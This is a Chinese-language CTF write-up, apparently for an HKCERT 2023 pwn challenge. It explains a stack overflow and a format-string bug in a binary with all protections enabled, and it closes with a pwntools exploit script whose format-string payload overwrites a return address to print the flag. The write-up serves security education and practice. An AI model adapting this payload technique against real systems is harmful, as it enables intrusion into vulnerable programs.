前言
感觉这题在我的认知里,算是比较炸裂的。(本人较菜)
IDA
首先感觉IDA有点像陀shit了
strcpy汇编压根没有。。。。凭空逆了个strcpy函数处理,但汇编没问题。
You are cheating这个字符串和Bye这个字符串被放进栈中了,是直接写入的,全局变量没有这两个字符串。(怪不得搜字符串没搜到)
movabsq
movabsq是新增的指令。用来将一个64位的值直接存到一个64位寄存器中。
ja
JA(jump above)大于则转移到目标指令执行。 它是通过判断两个无符号数之间的大小关系,大于则转移
pretty_alert
这鸟函数里面用到了printf函数,有个printf函数第一个参数为pretty_alert的第一个参数。可以利用格式化字符串漏洞解决。(可以根据输出和动态调试发现)
scanf(“%s”,s)
一个明显的溢出。。。
开撸
保护全开(国外比赛的常规操作)
正常逻辑绕不过exit,只能printf格式化,但只能printf一次就得exit了,得绕过exit才行, pretty_alert和exit(0)相邻,为何不printf任意写改变pretty_alert的返回地址呢
随机化
八个字节改变,但最低四位总是不变
思路
可溢出修改后面的变量的值
发现可利用的rbp链,然后两次套娃即可
第一次套娃修改栈上某个位置的值为返回地址的地址
第二次套娃修改该返回地址位置的具体内容为printfflag的那个函数
不过这里需要注意的是一次printf中的第一次修改内容第二次修改时可能没来得及更新,所以
exp
from pwn import *
while True:
try:
r=process("./chall")
#gdb.attach(r,"b main")
#r = remote('chal.hkcert23.pwnable.hk', 28246)
#r.clean()
r.sendline(b'Y\x00'.ljust(0x2b, b'A') + b'%c%c%c%c%c%c%c%c%c%c%46c%8$hhn%119c%22$hhn')
r.sendline(b'1')
r.sendline(b'1')
r.recvuntil(b'The flag is ')
r.interactive()
break
except KeyboardInterrupt:
break
except EOFError:
r.close()